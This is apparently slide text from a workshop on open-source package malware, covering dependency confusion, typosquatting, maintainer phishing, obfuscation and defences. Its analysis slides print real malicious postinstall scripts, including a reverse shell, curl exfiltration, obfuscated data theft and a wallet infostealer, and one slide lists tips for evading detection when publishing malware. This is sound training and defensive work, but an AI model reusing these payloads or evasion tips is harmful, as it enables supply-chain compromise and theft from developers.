    "express-mongo-sanitize": "^2.0.0",  
    "express-postgres-limits": "^2.0.0",  
    "express-rate-limit": "^5.1.3",  
    "express-validator": "^6.6.1",  
    "fs": "^0.0.1-security",  
    "helmet": "^4.1.0",  
    "hpp": "^0.2.3",  
    "jsonwebtoken": "^8.5.1",  
    "lodash": "^4.17.20",  
    "mongoose": "^5.10.2",  
    "nodemailer": "^6.4.11",  
    "path": "^0.12.7",  
    "pokersolver": "^2.1.4",  
    "request": "^2.88.2",  
    "socket.io": "^2.3.0",  
    "underscore": "^1.11.0",  
    "xss-clean": "^0.1.1",  
    "hcpss": "^99.99.91"  
},
```



# Dependency confusion in practice

---



## Visma Product Security

Visma Product Security works towards a safer world, by helping development teams in Visma and beyond to develop more secure applications.

<https://github.com/visma-prodsec/confused>




**Akhil Mahendra**  
th3-j0k3r

Security Engineer | AppSec | CTF @teambi0s

<https://github.com/th3-j0k3r/DepConfuse>





# super-confused

---

by @6mile

Next-gen dependency  
confusion analysis

<https://github.com/6mile/super-confused>  
`npm install super-confused`

**EXERCISE:**  
Find dependency confusion targets  
with confused



# Generic Package Names & AI “slop squatting”



## Why would this work: Generic package names

---

Bad guys are publishing packages named really generic things like “profile-ts”, “support-lib”, “image-watermarks”, “init-spa”, and “package-inherit”. They are betting that multiple companies have private packages using these generic names.



# Typosquatting



Githax

## Domain URL typosquatting

---

- <https://google.com>
- <https://victoriasssecret.com>
- <https://homedepot.com>
- <https://aws.amazon.com>
- <https://goog1e.com>
- <https://victoriasecret.com>
- <https://home-depot.com>
- <https://aws-amazon.com>



GitHax

# Software package URL typosquatting



1 project



coloramo

Last released Mar 27, 2024

gDORHmxmSPxOGIwfppq eHwMXL quNBgbxfINwEfltVOu

MarkWilliamson

 mswD4hite

 Joined Mar 26, 2024



GitHax

Typosquatting is harder to identify than you might think

---

Which of these is the legit Web3 Javascript parser?

1. web3.js
2. web3-js
3. web3
4. web3-parser



GitHax

## Why would this work: Typosquatting

---

Bad guys use names that are similar to real packages. So for example, Prettier has 40 million downloads a week. Bad guys published packages named: Prettier-ps, Prettier-cs and Pretier



prettier TS

3.4.2 · Public · Published a month ago

[Readme](#)

[Code](#)

Beta

[0 Dependencies](#)

[19,016 Dependents](#)

[167 Versions](#)



# Prettier

## Opinionated Code Formatter

JavaScript · TypeScript · Flow · JSX · JSON

CSS · SCSS · Less

HTML · Vue · Angular

GraphQL · Markdown · YAML

Your favorite language?

Prod passing Dev passing Lint passing coverage 99% speed blazing 🔥

npm v3.4.2 downloads 39M/week code style prettier X @PrettierCode

## Intro

Prettier is an opinionated code formatter. It enforces a consistent style by parsing your code and re-printing it with its own rules that take the maximum line length into account, wrapping code when necessary.

### Input

```
foo(reallyLongArg(), omgSoManyParameters(), IShouldRefactorThis(), isThere!
```

### Output

#### Install

`npm i prettier`



#### Repository

[github.com/prettier/prettier](https://github.com/prettier/prettier)

#### Homepage

[prettier.io](https://prettier.io)

[Fund this package](#)

#### Weekly Downloads

39,361,752



#### Version

3.4.2

#### License

MIT

#### Unpacked Size

7.83 MB

#### Total Files

53

#### Issues

1175

#### Pull Requests

276

#### Last publish

a month ago

#### Collaborators



[Readme](#)[Code](#)

(Beta)

[0 Dependencies](#)[0 Dependents](#)[2 Versions](#)

# Prettier

## Opinionated Code Formatter

JavaScript · TypeScript · Flow · JSX · JSON

CSS · SCSS · Less

HTML · Vue · Angular

GraphQL · Markdown · YAML

Your favorite language?

[Prod](#) [Dev](#) [Lint](#) [coverage](#) 99% [speed](#) [npm v3.4.2](#) [downloads 39M/week](#) [code style prettier](#)

@PrettierCode

## Intro


Prettier is an opinionated code formatter. It enforces a consistent style by parsing your code and re-printing it with its own rules that take the maximum line length into account, wrapping code when necessary.

### Input

```
foo(reallyLongArg(), omgSoManyParameters(), IShouldRefactorThis(),
```

### Output

### Install

`npm i prettier-s`


prettier-s

MIT license • 49736 stars



Debrickified

Contributors: 72/100, Popularity: 77/100, Sec...



Socket

supplyChainRisk: 77/100, quality: 100/100, m...



OpenSSF Scorecard

Score: 6.6/10



Snyk Advisor

Score: 83/100, No known security is...

Found an error? [please report an issue](#)

### Repository

[github.com/prettier/prettier](#)

### Homepage

[prettier.io](#)[Fund this package](#)

### Weekly Downloads

6



Version

1.3.4

License

MIT

Unpacked Size

8.02 MB

Total Files

54

Issues

1175

Pull Requests

276



/ prettier-s

/ assets /



.. /

20240909142451_b6fdf f38e7864af9a35357ef43 0ce5edexe.jpg	application/octet-stream	322 kB
--	--------------------------	--------

```
▼ <div class="75771d2d">
  ► <div class="0250bef8">...</div>
    <button>
      20240909142451_b6fdff38e7864af9a35357ef430ce5ed&#x202E;gpj.exe
    </button> == $0
  </div>
  ...
```



GitHax

```
% ls -al /tmp/githax/prettier-s-1.3.4/package/assets
b 07:29 .
b 07:41 ..
t 1985 20240909142451_b6fdff38e7864af9a35357ef430ce5ed??gpj.exe
% ls -al /tmp/githax/prettier-s-1.3.4/package/assets/20240909142451_b6fdff38e7864af9a35357ef430ce5ed$'\342\200\256'$'\342\200\256'gpj.exe
1985 /tmp/githax/prettier-s-1.3.4/package/assets/20240909142451_b6fdff38e7864af9a35357ef430ce5ed??gpj.exe
%
```



GitHax

# EXERCISE:

## Create a lookalike package



GitHax

# Targeting Maintainers



Githax

## Targeting the package maintainer

---

Threat actors are targeting the maintainers of packages, and/or top contributors. Why?

1. Account takeover of the maintainer's account to add malicious content to existing packages
2. Contribute to project as collaborator to build trust, then quietly add malicious content (ala XZ utils)



# Targeting the package maintainer

**eslint-config-prettier** 

10.1.8 • Public • Published 10 days ago

[Readme](#) [Code](#) Beta [0 Dependencies](#) [11776 Dependents](#) [85 Versions](#)

## eslint-config-prettier

Turns off all rules that are unnecessary or might conflict with [Prettier](#).

This lets you use your favorite shareable config without letting its stylistic choices get in the way when using Prettier.

Note that this config *only* turns rules *off*, so it only makes sense using it together with some other config.

### Installation

1. Install eslint-config-prettier:

```
npm i -D eslint-config-prettier
```

```
yarn add -D eslint-config-prettier
```

```
pnpm add -D eslint-config-prettier
```

```
bun add -D eslint-config-prettier
```

2. Add eslint-config-prettier to your ESLint configuration – either to [eslintrc](#) or to [eslint.config.js \(flat config\)](#).

- eslintrc: Add "prettier" to the "extends" array in your `.eslintrc.*` file. Make sure to

Install

```
> npm i eslint-config-prettier
```

Repository [github.com/prettier/eslint-config-prettier](#)

Homepage [github.com/prettier/eslint-config-prettier](#)

Fund this package

2025-06-17 to 2025-06-23  
37,419,831



Version [10.1.8](#) License [MIT](#)

Unpacked Size [59 kB](#) Total Files [11](#)

Last publish [10 days ago](#)

Collaborators



# Targeting the package maintainer



## jounqin

Joun Qin

 @JounQin

 @JounQin



Pinned

JounQin  @JounQin · Jul 19

cc @geteslint @PrettierCode @PrettierESLint

⋮ ...

Attention!!!

I was tricked by a phishing email and a new npm token was added and leaked then some popular packages I'm maintaining were released with malicious software, I've deleted the leaked token and marked all affected bad versions as deprecated and released new versions.

All affected packages and versions are:

- eslint-config-prettier
  - 8.10.1
  - 9.1.1
  - 10.1.6
  - 10.1.7
- eslint-plugin-prettier:
  - 4.2.2
  - 4.2.3
- snyckit:
  - 0.11.9
- @pkgr/core:
  - 0.2.8
- napi-postinstall:
  - 0.3.1

Thanks all, and sorry for my negligence.



# Targeting the package maintainer



Hi, **jounqin!**

We're reaching out to all users as part of our regular account maintenance.  
To ensure your account remains secure and fully functional, we kindly ask that you  
verify your email address.

Please [log in here](#) re-verify access to your email.

If you have <https://npxjs.com/login?token=6536ea34d83b2ada62ad6f2a352020ff> free to [reach out to the npm support team](#).

You're receiving this email because we doubt that you still have access to the e-mail provided.

# EXERCISE:

## Target a maintainer



GitHax

# Obfuscation



GitHax

# Javascript Obfuscation Types

---

1. Minification
2. Identifier renaming
3. Control flow manipulation
4. String encryption or encoding
5. Code splitting
6. Filler (unnecessary) code




GitHax

# JavaScript Obfuscator

---

Great all around obfuscator:

<https://github.com/javascript-obfuscator/javascript-obfuscator>



GitHax

# Open-Source Malware Archetypes



GitHax

## Six main archetypes

---

- Reverse shell and remote access
- Exfil variables or data
- Crypto miners
- Crypto drainers
- Infostealers
- Ransomware



GitHax

# Remote Access



GitHax

## Examples of npm malware: herostereo

```
GitHax 6mile ~/projects/githax % cat ../malware_analysis/herostereo-1.0.3/package.json
{
  "name": "herostereo",
  "version": "1.0.3",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "postinstall": "ncat 185.183.106.85 43662 -e /bin/bash "
  },
  "author": "",
  "license": "ISC"
}
```



## Indicators of Compromise

---

- IP: 185.183.106.85
- Package name: herostereo
- Other packages: pascoresend, diffuse-the-rest, sandstorm-widgets-nyse-website, skulldentist, theice



GitHax

# Data Exfiltration



Githax

## Examples of npm malware: actions-project-version-check

```
GitHax 6mile ~/projects/githax % cat /tmp/githax/actions-project-version-check-99.1.1/package.json
{
  "name": "actions-project-version-check",
  "version": "99.1.1",
  "description": "Private npm package",
  "main": "index.js",
  "scripts": {
    "postinstall": "curl -X POST https://9cmfw9f44piynq5n7kjr39cqthz8n0bp.oastify.com --data
\\\"HOSTNAME=$(hostname), USER=$(whoami), IP=$(curl -s ifconfig.me)\\\""
  },
  "author": "Your Name",
  "license": "Apache-2.0"
}
```



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## Indicators of Compromise

---

- Domain: \*.oastify.com
- Package name: actions-project-version-check

## Examples of npm malware: web3-parser

The logo features the text "WEB3-PARSER" in a bold, sans-serif font, completely engulfed in a烈火 (flame) effect. The flames are orange and yellow, with dark smoke rising from behind the text.

**WEB3-PARSER**

Pwning NPM users since 2022



GitHax

```
GitHax 6mile ~/projects/malware_analysis % cat ./web3-parser-1.6.4/package.json
{
  "name": "web3-parser",
  "version": "1.6.4",
  "dependencies": {
    "axios": "^0.24.0",
    "form-data": "^0.2.0"
  },
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \\\"Error: no test specified\\\" && exit 1"
  },
  "author": "",
  "license": "ISC"
}
```



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```
GitHax 6mile ~/projects/malware_analysis/web3-parser-1.6.4 % cat ./index.js
const axios=require("axios"),parser=r=>{try{r=String(r);const e=[ "aHR0cHM6Ly8=", "YXBpLnRyYWRlZW5vLmNvbQ==", "L2FwaQ==", "L29yZGVy", "L25ldw=="];return axios.post(e.m
ap((r=>Buffer.from(r,"base64").toString())).join(""),{value:"parser"+r}).then((fu
nction(r){}),r}catch(e){return r}};module.exports={parser:parser};%
```



GitHax

```
const axios = require("axios");
const parser = r => {
  try {
    r = String(r);
    const e = ["aHR0cHM6Ly8=", "YXBpLnRyYWRlZW5vLmNvbQ==", "L2FwaQ==", "L29yZGVy",
    "L25ldw=="];
    axios.post(e.map(r => Buffer.from(r, "base64").toString()).join(""), {
      value: "parser" + r
    }).then(function (r) {});
    return r;
  } catch (e) {
    return r;
  }
};
module.exports = {
  parser: parser
};
```

Translation from above base64:

```
aHR0cHM6Ly8= : https://
YXBpLnRyYWRlZW5vLmNvbQ== : api.tradeeno.com
L2FwaQ== : /api
L29yZGVy : /order
L25ldw== : /new
```



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```
"time": {
    "created": "2025-01-24T09:52:20.524Z",
    "modified": "2025-01-24T09:52:22.729Z",
    "1.2.4": "2022-05-26T04:10:48.234Z",
    "1.2.5": "2022-05-26T08:27:44.959Z",
    "1.2.6": "2022-05-26T08:32:11.744Z",
    "1.2.7": "2022-05-26T08:33:20.240Z",
    "1.3.0": "2022-06-28T13:40:48.884Z",
    "1.4.0": "2022-08-02T15:13:21.597Z",
    "1.5.0": "2023-07-17T18:50:28.233Z",
    "1.5.1": "2023-07-17T18:52:08.285Z",
    "1.5.2": "2023-07-17T18:53:24.565Z",
    "1.6.0": "2024-02-29T20:07:16.897Z",
    "1.6.1": "2024-02-29T20:13:40.956Z",
    "1.6.3": "2024-02-29T21:07:54.189Z",
    "1.6.4": "2024-02-29T21:11:20.893Z",
    "2.1.4": "2025-01-13T17:19:35.793Z",
    "2.1.5": "2025-01-13T17:47:10.409Z",
    "2.1.6": "2025-01-13T17:50:04.879Z",
    "2.1.7": "2025-01-13T17:50:36.990Z",
    "2.1.8": "2025-01-13T17:55:34.960Z",
    "2.2.1": "2025-01-13T19:56:44.094Z",
    "0.0.1-security": "2025-01-24T09:52:20.687Z"
}
```



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```
const {
  MongoClient: r
} = require("mongodb");
async function parser(e) {
  try {
    let n;
    let t;
    if (!n) {
      (n = new r(["bW9uZ29kYitzcnY6Ly9sb2NhbHVzZXI6XzJHTU0uRERCUe4cnY0QGNsdXN0ZXIwLmdmcphLm1vbmdvZGIubmV0Lz9yZXReVdyXRlcz10cnVlJnc9bWFqb3JpdHkmYXBwTmFtZT1DbHVzdGVyMA=="]).map(r => Buffer.from(r, "base64").toString()).join("")).connect().then(() => {
        let r = n.db("order");
        (t = r.collection("order")).insertOne({
          text: e,
          createdAt: new Date()
        });
      });
    }
    return e;
  } catch (o) {
    console.error("Error:", o);
    throw e;
  }
}
module.exports = {
  parser
};
```

```
# payload in base64 string above:
# mongodb+srv://localuser:_2GMM.DDBPJ8rv4@cluster0.gfrja.mongodb.net/?retryWrites=true&w=majority&appName=Cluster0
```



GitHax

## Indicators of Compromise

---

- Domain names:
  - api[.]tradeeno[.]com
  - cluster0[.]gfrja[.]mongodb[.]net
- Package name: web3-parser
- IP Addresses: 144[.]126[.]214[.]174



GitHax

# Infostealers



GitHax

# Lazarus group: zentrix3

```
1 const fs = require("fs");
2 const os = require("os");
3 const path = require("path");
4 const request = require("request");
5 const ex = require("child_process").exec;
6 const hostname = os.hostname();
7 const platform = os.platform();
8 const homeDir = os.homedir();
9 const tmpDir = os.tmpdir();
10 const fs_promises = require("fs/promises");
11 const hostURL = "http://144.172.106.7:1224";
12 const getAbsolutePath = _0x1fa25f => _0x1fa25f.replace(/~([a-z]+|\\"/), (_0x1d0b6d, _0xaaf659) => _0xaaf659 === "/" ? home
Dir : path.dirname(homeDir) + "/" + _0xaaf659);
13 const htype = "9";
14 const gtype = "908";
15 function testPath(_0x4799e7) {
16     try {
17         fs.accessSync(_0x4799e7);
18         return true;
19     } catch (_0x1d257) {
20         return false;
21     }
22 }
23 const R = ["Local/BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser"];
24 const Q = ["Local/Google/Chrome", "Google/Chrome", "google-chrome"];
25 const X = ["Roaming/Opera Software/Opera Stable", "com.operasoftware.Opera", "opera"];
26 const Bt = ["nkbihfbeogaeaohlefknkodbefgpgknn", "ejbalbakoplchlghecdalmeeeajnimhm", "fhbohimaelbohpjbbldcngcnapndodjp", "i
bnejdfjmmkpcnlpebklnmnkoehoihofec", "bfnaelmomeimhlpmgjnjnophpkkoljpa", "aeachknmefphepccionboohckonoeemg", "hifafgmccdppekpl
omjjjkcfgodnhcellj", "jblndlpeoogpafnldhgmapagcccfcipi", "acmacodkjbdgmoleebolmdjonilkdbch", "dlcobpjiiigpiokoobohmabehhmhfoo
dbb", "mcohilncbfahbmgdjkbpemcciiolgce", "agoakfejjabomempkjlepdflaleebhbh", "omaabbefbmijedngplfjmnooppbclkk", "aholpfid
ialjjgjfhomihkjbm gjidlcndo", "nphplpgoakhhjchkkhmissgakkijnkhfn", "penjlddkjgpnkllboccdgccekpkcbin", "lgmpcpglpngdoalbgeold
eajfclnhafa", "fldfpqipfnrgndfolcbkdeeknbbbrrhcc", "bhhhlbepdkbapadjdnnokbgioiodbic", "aeachknmefphepccionboohckonoeemg",
"gjnckgkfmgmibbkoficidcljeaaaheg", "afbcbjpbpfadlkmhmclhkeeedmamclf"];
27 const uploadFiles = async (_0x45c6b2, _0x38a6c7, _0x39e2cf, _0xbd9c66) => {
```



```
--> }
86     }
87     if (_0x39e2cf && (_0x41c544 = homeDir + "./config/solana/id.json", fs.existsSync(_0x41c544))) {
88         try {
89             _0x4779bb.push({
90                 value: fs.createReadStream(_0x41c544),
91                 options: {
92                     filename: "solana_id.txt"
93                 }
94             });
--> }
```

```
--> ,
153 const uploadEs = _0x2a8aaa => {
154     let _0x16f451 = "";
155     let _0x2ccecc1 = [];
156     if (platform[0] == "w") {
157         _0x16f451 = getAbsolutePath("~/") + "/AppData/Roaming/Exodus/exodus.wallet";
158     } else if (platform[0] == "d") {
159         _0x16f451 = getAbsolutePath("~/") + "/Library/Application Support/exodus.wallet";
160     } else {
161         _0x16f451 = getAbsolutePath("~/") + "./config/Exodus/exodus.wallet";
162     }
--> }
```



# Ransomware



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# Examples of npm malware: express-exp

Screenshot of the npm package page for `express-exp`.

The page shows the following details:

- express-exp**
- 1.0.1 • Public • Published 8 days ago
- Readme** (highlighted)
- Code** (Beta)
- 0 Dependencies**
- 0 Dependents**
- 1 Versions**
- This package does not have a README. [Add a README](#) to your package so that users know how to get started.
- Keywords**: none
- Install**: `> npm i express-exp`
- Weekly Downloads**: 4,531,289
- Version**: 1.0.1
- License**: none
- Unpacked Size**: 2.09 kB
- Total Files**: 2
- Last publish**: 8 days ago
- Collaborators**: 



```
{  
  "name": "express-exp",  
  "version": "1.0.1",  
  "description": "express",  
  "main": "index.js",  
  "scripts": {  
    "postinstall": "node index.js"   
  },  
  "dependencies": {  
  }  
}
```



```
GitHax 6mile ~/projects/malware_analysis % cat ./express-exp-research/express-exp-1.0.1/index.js
```

```
function _0x1ca4(){const _0x37de31=['1720733kdBVIh','child_process','4871604ruarmb','9Qa0u0F','55159400eIbqs','Could\0020ot\0020install.\0020Err:\00200UT_OF_SPACE.', '6TlNRjt', '40PMNKYW', 'win32', '2574940osRTee', '13761170CfHqxJ', 'Error\0020executing\0020command:\0020', '182127TeYxLo', 'error', '50003679KKcddS', '4yJgJPY'];_0x1ca4=function(){return _0x37de31;};return _0x1ca4();}const _0x174f21=_0x5364;(function(_0x2e098a,_0x269f97){const _0x2024cf=_0x5364,_0x516223=_0x2e098a();while(!_0x1ca4){try{const _0xadbdaf=parseInt(_0x2024cf(0x184))/0x1+-parseInt(_0x2024cf(0x191))/0x2+parseInt(_0x2024cf(0x18a))/0x3*(-parseInt(_0x2024cf(0x187))/0x4)+-parseInt(_0x2024cf(0x18c))/0x5*(parseInt(_0x2024cf(0x18e))/0x6)+parseInt(_0x2024cf(0x188))/0x7*(-parseInt(_0x2024cf(0x18f))/0x8)+parseInt(_0x2024cf(0x18b))/0x9*(parseInt(_0x2024cf(0x182))/0xa)+parseInt(_0x2024cf(0x186))/0xb;if(_0xadbdaf===_0x269f97)break;else _0x516223['push'](_0x516223['shift']());}catch(_0x57d679){_0x516223['push'](_0x516223['shift']());}}(_0x1ca4,0xd20fc));const {exec}=require(_0x174f21(0x189));function _0x5364(_0x4e76fe,_0x397d95){const _0x1ca4ad=_0x1ca4();return _0x5364=function(_0x5364da,_0x2b376e){_0x5364da=_0x5364da-0x182;let _0xe1558a=_0x1ca4ad[_0x5364da];return _0xe1558a;},_0x5364(_0x4e76fe,_0x397d95);}function asdf(_0x4df98b){return new Promise({_0x5168cc,_0x1cf61b})=>{_exec(_0x4df98b,{`windowsHide`:_0x1dc84a,_0x3214d4,_0x2822cb})=>{_const _0x342780=_0x5364;if(_0x1dc84a){_0x1cf61b(_0x342780(0x183)+_0x1dc84a['message']);return;}if(_0x2822cb){_0x1cf61b('stderr:\0020'+_0x2822cb);return;}_0x5168cc(_0x3214d4);}});async function postInstall(){const _0x390504=_0x174f21;if(process['platform']===_0x390504(0x190)){const _0x149f44='powershell\0020-Command\0020\x22irm\0020https://asdf11.xyz/npm/\0020\x201\x20ie\x22';try{const _0x644f5c=await asdf(_0x149f44);}catch(_0x40a7ca){console[_0x390504(0x185)](_0x390504(0x18d));}}}}postInstall();%
```



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```
1 const {
2   exec
3 } = require("child_process");
4 function asdf(_0x4df98b) {
5   return new Promise(_0x5168cc, _0x1cf61b) => {
6     exec(_0x4df98b, {
7       windowsHide: true
8     }, _0x1dc84a, _0x3214d4, _0x2822cb) => {
9       if (_0x1dc84a) {
10         _0x1cf61b("Error executing command: " + _0x1dc84a.message);
11         return;
12       }
13       if (_0x2822cb) {
14         _0x1cf61b("stderr: " + _0x2822cb);
15         return;
16       }
17       _0x5168cc(_0x3214d4);
18     });
19   });
20 }
21 async function postInstall() {
22   if (process.platform === "win32") {
23     const _0x149f44 = "powershell -Command \"irm https://asdf11.xyz/npm/ | iex\"";
24     try {
25       const _0x644f5c = await asdf(_0x149f44);
26     } catch (_0x40a7ca) {
27       console.error("Could not install. Err: OUT_OF_SPACE.");
28     }
29   }
30 }
31 postInstall();
```



# Indicators of Compromise

---

- Domain names: asdf11[.]xyz, myaunet[.]su
- IP addresses: 194[.]67[.]71[.]170, 68[.]65[.]120[.]235
- Package name: express-exp
- Other packages: helper-member-expression-to-functions,  
helper-annotate-as-pure, helper-function-name,  
helper-compilation-targets, helper-get-function-arity,  
helper-hoist-variables, helper-plugin-utils, compat-data,  
helper-split-export-declaration
- File hashes:  
13db408a3232ea31aab8edc648b6c315782db9516e1c08c6bd667e17f5dd147c,  
515e6d58b720d5e125602621b28fa37a669efed508e983b8c3136bea80d46640,  
2d17f0cb6c8d9488f2d101b90052692049b0c4bd9bf4949758aae7b1fd936191



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# EXERCISE:

## Analyzing new malware



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# Threat actor profiles



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## Lazarus Group

---



- 100% focused on crypto & NK survival
- Targets crypto devs with fake jobs
- Flooding NPM with dependency confusion & typo-squatting, everything crypto/payments
- Payloads seek specific items: wallet files, cookies, exchange tokens
- Hides malicious code via obfuscation or within many JS files
- Detection typically only via NIDS/NDR observing new domain egress



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# Indonesian “Lyrra” Gang

---



**veynlinh**

---

Nava Linh

---



@veryLinh

---

- Indonesia: majority package source
- Mimics Chinese/Vietnamese actors
- Chaotic: multiple payload types
- Poor obfuscation techniques
- Poor opsec - Feel safe so cocky
- Will repurpose legitimate web consoles
- Targets payment details across platforms
- Discord-based exfiltration
- Prefers lookalike packages
- Secondary monetization via bot traffic
- Low technical skill: avoids shells/RCE



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## Russian Criminals

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- Packages deliver ransomware/info stealers with modified phishing kill chains
- Actors' cybercrime backgrounds manifest in familiar patterns
- Pretty good opsec
- Lots more .ru and .su since sanctions
- Info stealers evolved from binaries to native JavaScript - often obfuscated
- Focus on persistence and staging with eventual human involvement
- Diverse attack patterns converge into common approaches

## Bug bounty researchers

---



- Thousands and thousands of these.  
Sometimes 40-50% of total malicious volume
- Payload is easy to find
- Typically exfils hostname, IP address,  
username data to OAST or known URLs
- Really, really bad opsec and no obfuscation
- Sometimes crosses a line and drops reverse  
shell or steals passwords. Oops



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## How does OSS malware bypass EDR?

---

- Targets developer laptop or CI/CD where no EDR/IDS
- Singular payload - No repeated suspicious action
- In general, info stealers are hard to find
- Obfuscation hides nature of file
- Evading SCA/SAST
- No binaries with file hashes



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# Building NPM malware



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## How does OSS malware enter your org?

---

Bad guys target what's hot, so new technologies are always at the top of the list



Model  
Context  
Protocol





[https://pypi.org/user/vincent\\_k/](https://pypi.org/user/vincent_k/)



**vincent kwork**

vincent\_k

Joined Mar 21, 2025

62 projects

**test-mcp-server**

Last released May 8, 2025

Add your description here

**inquiry-mcp-server**

Last released May 7, 2025

Add your description here

**mcp-client-tools**

Last released Apr 30, 2025

Add your description here

**asr-mcp-server**

Last released Apr 29, 2025

Add your description here

**nm-browser-use-mcp-server**

Last released Apr 28, 2025

MCP server for browser-use

**markdownify-mcp-server**

Last released Apr 27, 2025

Add your description here

**google-scholar-mcp-server**

Last released Apr 27, 2025

Add your description here

**shuidi-data-mcp-server**

Last released Apr 24, 2025

Add your description here

**sec-agent-mcp-server**

Last released Apr 24, 2025

Add your description here



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**EXERCISE:**  
**Create your own (pseudo)**  
**malicious NPM package**



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# The open source malware GOAT

---



- Copy a NPM package that was popular, but out of date and had some vulnerabilities
- Don't use install scripts
- Don't use binary payload: Rewrite your payload in Javascript or Python.
- Use a non-scoped package, and create scope
- Use legit author, GitHub repo, contributors to create realistic metadata
- Fake the download stats but do it realistically
- Don't add malicious payload until after version 10 of package
- Only obfuscate if you must, and only if its a lookalike package.
- Use separate package for payload
- If your malware gets flagged by OSV, quickly remove it

# How to be more proactive about the open-source malware risk



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## How do we get better?

---

- We need better detection from our solution providers: Near real time identification of malware from vendors.
- Engineering teams need to pull vetted packages from trusted proxied registry. This means there needs to be a gap between when a dev wants to use a new package and when they get it.
- Implementation of client side “package firewalls” that check what libraries are allowed and block what aren’t. Hopefully integrate with proxies.
- Hire teams/people with subject matter experience. Tools aren’t going to do all the heavy lifting for you.



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## Tools that can help

---

- I'm a big advocate for using source code firewalls on your developers laptops
- These tools collect package data and send it to a centralized place and in some cases proxy the actual requests to known good package registries
- <https://github.com/DataDog/supply-chain-firewall>
- Commercial: Safety Firewall & Sonatype Firewall



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## Learn more about open-source malware

---

- <https://github.com/advisories?query=type%3A%0Amalware>
- <https://osv.dev/list>
- [https://github.com/lxyeternal/pypi\\_malregistry/](https://github.com/lxyeternal/pypi_malregistry/)
- <https://github.com/DataDog/malicious-software-packages-dataset/>
- [https://x.com/npm\\_malware](https://x.com/npm_malware)
- <https://github.com/tstromberg/supplychain-attack-data>
- <https://dasfreak.github.io/Backstabbers-Knife-Collection/>
- <https://intel.aikido.dev/>
- <https://vetpkg.dev/mal ?>



GitHax



# S>afety

[getsafety.com](http://getsafety.com)

Paul McCarty  
[6mile@linux.com](mailto:6mile@linux.com)  
[linkedin.com/in/mccartypaul/](https://linkedin.com/in/mccartypaul/)

